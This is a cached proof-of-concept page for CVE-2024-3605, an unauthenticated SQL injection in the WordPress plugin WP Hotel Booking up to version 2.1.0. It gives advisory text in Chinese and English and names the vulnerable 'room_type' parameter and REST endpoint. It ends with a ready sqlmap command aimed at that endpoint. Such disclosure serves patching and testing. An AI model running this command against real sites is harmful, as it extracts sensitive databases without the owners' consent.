Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-3605 PoC — WordPress plugin WP Hotel Booking 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin WP Hotel Booking 安全漏洞 (CVE-2024-3605)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP Hotel Booking 2.1.0版本及之前版本存在安全漏洞,该漏洞源于对用户提供的参数转义不足,且现有 SQL 查询准备不足。攻击者利用该漏洞可以从数据库中提取敏感信息。
Description
WP Hotel Booking <= 2.1.0 - Unauthenticated SQL Injection
Readme
# CVE-2024-3605
WP Hotel Booking <= 2.1.0 - Unauthenticated SQL Injection

# Description

The WP Hotel Booking plugin for WordPress is vulnerable to SQL Injection via the 'room_type' parameter of the /wphb/v1/rooms/search-rooms REST API endpoint in all versions up to, and including, 2.1.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

## Details

- **Type**: plugin
- **Slug**: wp-hotel-booking
- **Affected Version**: 2.1.0
- **CVSS Score**: 10
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- **CVE**: CVE-2024-3605
- **Status**: Active

POC
---

```

sqlmap -u 'https://www.target.com/wp-json/wphb/v1/rooms/search-rooms?check_in_date=2025-01-01&check_out_date=2025-01-10&adults=4&max_child=0&paged=1&room_type=standard' --dbms='MySQL ' --random-agent
```
File Snapshot

[4.0K] /data/pocs/7d92776ad0b67b0317ec7692f3dd37de04f71b78 └── [1.0K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.